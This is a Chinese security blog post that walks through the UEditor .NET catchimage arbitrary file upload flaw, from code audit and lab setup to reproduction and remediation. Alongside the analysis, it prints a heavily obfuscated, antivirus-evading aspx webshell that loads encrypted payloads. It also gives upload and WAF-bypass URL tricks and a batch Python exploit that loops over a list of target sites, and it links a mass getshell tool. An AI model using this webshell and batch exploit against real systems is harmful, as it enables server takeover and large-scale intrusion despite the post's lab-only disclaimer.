前言
本公众号仅用作技术研究,利用此文提及到的知识造成的任何直接或者间接的后果及损失,均由使用者本人负责,本人不为此承担任何责任,本文中涉及的漏洞复现,均是自己搭建的本地靶场,禁止非法攻击未授权站点。
最近打hvv遇到挺多这个ueditor的,所以想着来研究一下这个最常见的ueditor的任意文件上传漏洞,来详细分析一下漏洞原理。
漏洞描述
UEditor是一款所见即所得的开源富文本编辑器,具有轻量、可定制、用户体验优秀等特点,被广大WEB应用程序所使用。本次研究的漏洞属于.NET版本,其它的版本暂时不受影响。漏洞成因是在抓取远程数据源的时候未对文件后缀名做验证导致任意文件写入漏洞,黑客利用此漏洞可以在服务器上执行任意指令,综合评级高危。
漏洞影响
1.4.3.3、1.5.0和1.3.6版本中,并且只有**.NET**版本受该漏洞影响。
代码审计
该漏洞是由于上传文件时,使用的CrawlerHandler类未严格对文件类型进行校验,导致可以轻松绕过文件类型检查,导致了任意文件上传。1.4.3.3和1.5.0版本利用方式稍有不同,1.4.3.3需要一个正确解析的域名。而1.5.0用IP和普通域名就可以,相对来输送1.5.0更容易触发此漏洞;而1.4.3.3版本中需要提供一个正常的域名就可以绕过判断。
在Github上下载1.4.3.3版本的代码进行代码审计。
首先从Controller.ashx控制器文件开始审计:
控制器存在多个动作的调用,包括config、uploadimage、uploadscrawl、uploadvideo、uploadfile、listimage、listfile、catchimage,这些动作默认都可以远程访问,本次漏洞出现在catchimage动作中,这个动作实例化了CrawlerHandler这个类,详细代码如下:
可以看到,代码首先获取了source[]的值,并且判断是否为空,如果为空则返回“参数错误:没有指定抓取源”。否则就实例化Crawler类并且调用Fetch函数,Crawler类代码如下:
可以看到,Fetch函数中,首先调用了IsExternalIPAddress函数来判断URL是否为可以被DNS解析的URL,详细代码如下:
通过URL判断后,就开始跟URL建立链接,准备开始抓取图片,建立链接之后,开始判断文件类型,在这里只判断了文件的ContentType:
那么现在有一个问题,我们上传的是一个图片马,怎么让服务器当作脚本文件来执行呢?因为这种上传操作实际上是指定一个文件链接,由服务器主动去请求这个链接去获取文件的,并不是从本地直接上传到服务器,这样就不可以通过BP等抓包工具修改ContentType直接绕过,所以我们在指定文件URL的时候后缀一定要是图片类型的,比如JPG/PNG,但是这种文件上传后无法以脚本来执行,所以想要让图片马以脚本执行,还需要看一下服务器保存文件的时候如何确认的文件后缀:
可以看到,服务器通过filename获取最后一个点后面的内容当作文件后缀,但是我们指定文件名的时候不能用.asp为结尾,这时候就可以通过在图片后缀后面加上?.asp来达到目的,比如图片马的链接是xxxx/1.jpg,我们可以指定文件链接为xxxx/1.jpg?.asp,在URL中1.jpg?.aspx会被默认当成1.jpg解析,因为问号后面的内容会被当做参数,这在请求图片的时候不受影响,但是在服务器确认要保存的文件后缀的时候,是利用链接的最有一个点后面的后缀确认的文件后缀,所以保存的文件的后缀名会是asp,这样我们就可以让图片马以脚本的方式执行了。
环境搭建
到github上下载:https://github.com/fex-team/ueditor
下载完成后把压缩包解压后重命名为ueditor,新建一个目录,把 ueditor 放到 test 文件夹下
把 net 目录转化为应用程序
运行过程报错
修改 web.config ,添加 <customErrors mode="Off"/>
修改完成后继续出现报错
在C:windowstemp这个文件夹添加network service用户的权限即可解决
搭建完成
漏洞复现
访问首页,会出现如图403的页面
常规的目录扫描
看到目录扫描ueditor下存在以下页面,可以联想到ueditor getshell
/ueditor/net/controller.ashx?action=
准备一个aspx木马,重命名为png,并放置到VPS上,在该目录下开启http服务
python3 -m http.server 8080
构造上传表单填入以下地址
<form action="http://192.168.121.189:8081/ueditor/net/controller.ashx?action=catchimage" enctype="multipart/form-data" method="POST">
<p>输入web地址: <input type="text" name="source[]" /></p>
<input type="submit" value="Submit" />
</form>
在服务器上放置test.png,表单填入对应的地址
http://x.x.x.x/test.png?.aspx
上传后的路径
/ueditor/net/upload/image/20221026/6380239109238730544736443.aspx
绕过方式
有时候,遇到黑名单,我们可以上传ashx和asmx格式的webshell。如果有杀软,就可以上传免杀的webshell。这里推荐Tas9er哥哥的马子。
<%@ WebService LanGuagE="C#" Class="govt" %>
public class govt : u0053u0079u0073u0074u0065u006D.Web.u0053u0065u0072u0076u0069u0063u0065u0073.WebService
{
[u0053u0079u0073u0074u0065u006D.Web./*AYvToVqOG*/u0053u0065u0072u0076u0069u0063u0065u0073.WebMethod(EnableU00000053U00000065U00000073U00000073U00000069U0000006FU0000006E = true)]
public string /*pVtVzcOv8Z*/Tas9er(string Tas9er)
{
u0053u0079u0073u0074u0065u006D.Text./*p8YVlgO*/u0053u0074u0072u0069u006Eu0067u0042u0075u0069u006Cu0064u0065u0072 govSCi = new u0053u0079u0073u0074u0065u006D/*RknvY69z3Z*/.Text.u0053u0074u0072u0069u006Eu0067u0042u0075u0069u006Cu0064u0065u0072();
try {
string govI437x9c = u0053u0079u0073u0074u0065u006D.Text.ASCIIU00000045U0000006EU00000063U0000006FU00000064U00000069U0000006EU00000067.ASCII.GetString(u0053u0079u0073u0074u0065u006D.U00000043U0000006FU0000006EU00000076U00000065U00000072U00000074.U00000046U00000072U0000006FU0000006DU00000042U00000061U00000073U00000065U00000036U00000034U00000053U00000074U00000072U00000069U0000006EU00000067(u0053u0079u0073u0074u0065u006D.Text.ASCIIU00000045U0000006EU00000063U0000006FU00000064U00000069U0000006EU00000067.ASCII.GetString(u0053u0079u0073u0074u0065u006D.U00000043U0000006FU0000006EU00000076U00000065U00000072U00000074.U00000046U00000072U0000006FU0000006DU00000042U00000061U00000073U00000065U00000036U00000034U00000053U00000074U00000072U00000069U0000006EU00000067("VkdGek9XVnk="))));
string govRRbfsae = "2800b006c42ca583";
string govw4 = u0053u0079u0073u0074u0065u006D./*PUoWgdIT*/u0042u0069u0074u0043u006Fu006Eu0076u0065u0072u0074u0065u0072/*BfH0QWQEe*/.ToString(new u0053u0079u0073u0074u0065u006D.u0053u0065u0063u0075u0072u0069u0074u0079./*n2H*/u0043u0072u0079u0070u0074u006Fu0067u0072u0061u0070u0068u0079./*hpZRU7FTlnvxaX*/U0000004DU00000044U00000035U00000043U00000072U00000079U00000070U00000074U0000006FU00000053U00000065U00000072U00000076U00000069U00000063U00000065U00000050U00000072U0000006FU00000076U00000069U00000064U00000065U00000072()/*OaYl4gLbRQdW*/./*GLYXrw*/ComputeHash/*JBBGQiO8c2ol*/(u0053u0079u0073u0074u0065u006D./*IgRxR9LBNLdyOI*/Text./*RSQ7leSOsyTWLlT*/U00000045U0000006EU00000063U0000006FU00000064U00000069U0000006EU00000067.Default.U00000047U00000065U00000074U00000042U00000079U00000074U00000065U00000073(govI437x9c + govRRbfsae)))./*I6sRO*/Replace/*J*/("-", "");
byte[] gov4b0J = /*ZULKaq*/u0053u0079u0073u0074u0065u006D.U00000043U0000006FU0000006EU00000076U00000065U00000072U00000074.U00000046U00000072U0000006FU0000006DU00000042U00000061U00000073U00000065U00000036U00000034U00000053U00000074U00000072U00000069U0000006EU00000067/*x6E7V3q*/(u0053u0079u0073u0074u0065u006D.Web.HttpUtility./*bXFLiBPrPz*/UrlDecode(Tas9er));
gov4b0J = new u0053u0079u0073u0074u0065u006D./*L27*/u0053u0065u0063u0075u0072u0069u0074u0079./*MNwFb6K1UEZlKg*/u0043u0072u0079u0070u0074u006Fu0067u0072u0061u0070u0068u0079.u0052u0069u006Au006Eu0064u0061u0065u006Cu004Du0061u006Eu0061u0067u0065u0064()/*gHR5gB*/.CreateDecryptor/*RGVmPLA*/(/*1Zo6f*/u0053u0079u0073u0074u0065u006D.Text.U00000045U0000006EU00000063U0000006FU00000064U00000069U0000006EU00000067./*q2*/Default.U00000047U00000065U00000074U00000042U00000079U00000074U00000065U00000073(govRRbfsae), u0053u0079u0073u0074u0065u006D.Text.U00000045U0000006EU00000063U0000006FU00000064U00000069U0000006EU00000067.Default./*m6VFD3*/U00000047U00000065U00000074U00000042U00000079U00000074U00000065U00000073(govRRbfsae))./*N*/u0054u0072u0061u006Eu0073u0066u006Fu0072u006Du0046u0069u006Eu0061u006Cu0042u006Cu006Fu0063u006B(gov4b0J, 0, gov4b0J.Length);
if (/*PKOt8*/Context./*6Ve6NcYTCUMR*/U00000053U00000065U00000073U00000073U00000069U0000006FU0000006E["payload"] == null)
{ Context.U00000053U00000065U00000073U00000073U00000069U0000006FU0000006E/*7eRBnVsdy9xpn6M*/["payload"] = (u0053u0079u0073u0074u0065u006D./*OzT2D4qE*/U00000052U00000065U00000066U0000006CU00000065U00000063U00000074U00000069U0000006FU0000006E./*LLZ9*/u0041u0073u0073u0065u006Du0062u006Cu0079)typeof(u0053u0079u0073u0074u0065u006D.U00000052U00000065U00000066U0000006CU00000065U00000063U00000074U00000069U0000006FU0000006E.u0041u0073u0073u0065u006Du0062u006Cu0079).GetMethod("Load", new u0053u0079u0073u0074u0065u006D/*I*/.Type[] { typeof(byte[]) }).Invoke(null, new object[] { gov4b0J }); ; }
else { object govuMp04AfvJ0JsnQ = ((u0053u0079u0073u0074u0065u006D.U00000052U00000065U00000066U0000006CU00000065U00000063U00000074U00000069U0000006FU0000006E/*FkIst*/.u0041u0073u0073u0065u006Du0062u006Cu0079/*NYWAs1*/)Context.U00000053U00000065U00000073U00000073U00000069U0000006FU0000006E["payload"]).CreateInstance("LY");
u0053u0079u0073u0074u0065u006D.u0049u004F./*ZEz8kkK8Ubl*/MemoryStream govH7zQ8 = new u0053u0079u0073u0074u0065u006D.u0049u004F.MemoryStream();
govuMp04AfvJ0JsnQ.U00000045U00000071U00000075U00000061U0000006CU00000073(Context);
govuMp04AfvJ0JsnQ.U00000045U00000071U00000075U00000061U0000006CU00000073(govH7zQ8);
govuMp04AfvJ0JsnQ.U00000045U00000071U00000075U00000061U0000006CU00000073(gov4b0J);
govuMp04AfvJ0JsnQ.ToString()/*jp9E9a*/;
byte[] govki9HTZ9d2d = govH7zQ8./*VzzU1VIvbF*/ToArray();
govSCi.U00000041U00000070U00000070U00000065U0000006EU00000064(govw4.u0053u0075u0062su0074u0072u0069u006Eu0067(0, 16));
govSCi.U00000041U00000070U00000070U00000065U0000006EU00000064/*pKfdqlo*/(u0053u0079u0073u0074u0065u006D.U00000043U0000006FU0000006EU00000076U00000065U00000072U00000074./*8VxHKj7lkDZdlH*/ToBase64String/*ZTWCBpuE6m*/(new u0053u0079u0073u0074u0065u006D.u0053u0065u0063u0075u0072u0069u0074u0079.u0043u0072u0079u0070u0074u006Fu0067u0072u0061u0070u0068u0079/*xW4*/.u0052u0069u006Au006Eu0064u0061u0065u006Cu004Du0061u006Eu0061u0067u0065u0064()./*qO*/CreateEncryptor(u0053u0079u0073u0074u0065u006D.Text.U00000045U0000006EU00000063U0000006FU00000064U00000069U0000006EU00000067.Default.U00000047U00000065U00000074U00000042U00000079U00000074U00000065U00000073(govRRbfsae), u0053u0079u0073u0074u0065u006D.Text.U00000045U0000006EU00000063U0000006FU00000064U00000069U0000006EU00000067.Default.U00000047U00000065U00000074U00000042U00000079U00000074U00000065U00000073(govRRbfsae)).u0054u0072u0061u006Eu0073u0066u006Fu0072u006Du0046u0069u006Eu0061u006Cu0042u006Cu006Fu0063u006B(govki9HTZ9d2d, 0, govki9HTZ9d2d.Length)));
govSCi.U00000041U00000070U00000070U00000065U0000006EU00000064(govw4.u0053u0075u0062su0074u0072u0069u006Eu0067(16)); } }
catch (u0053u0079u0073u0074u0065u006D/*wxc47AGjEiDvg*/.Exception) { }
return govSCi.ToString();
}
}
在实战中还可能会遇到 waf 的拦截
这时候通过中间穿插其他字符有可能绕过
http://x.x.x.x/test.png?.?a?s?p?x
利用工具
POC
import requests
import re
import sys
def upload(site, shellpath):
url = site + '/ueditor/net/controller.ashx'
photo_shell = shellpath
headers = {
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Upgrade-Insecure-Requests': '1'
}
req = requests.post(url=url+'?action=catchimage',headers=headers,data='source[]='+photo_shell,verify=False, timeout=5)
if re.search('SUCCESS',req.text):
print('[+] 上传成功!请查看响应包内容!')
else:
print('[-] 上传失败!请查看响应包内容!')
print(req.text)
if __name__ == '__main__':
for site in open("site.txt", encoding="utf-8"):
print(site.strip())
try:
upload(site.strip(), "图片地址")
except:
print(sys.exc_info())
二、批量工具
Tas9er哥哥工具
https://github.com/Tas9er/UEditorGetShell
修复建议
这个漏洞的主要问题在于对文件类型的检查不够严谨,并且保存文件时的文件名生成存在可以被利用的漏洞,解决办法可以通过将保存文件的文件夹设置为不可执行,或者手动更改代码,添加更严谨的文件类型检查代码。
修改CrawlerHandler.cs 增加对文件扩展名的;
IPS等防御产品可以加入相应的特征。
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...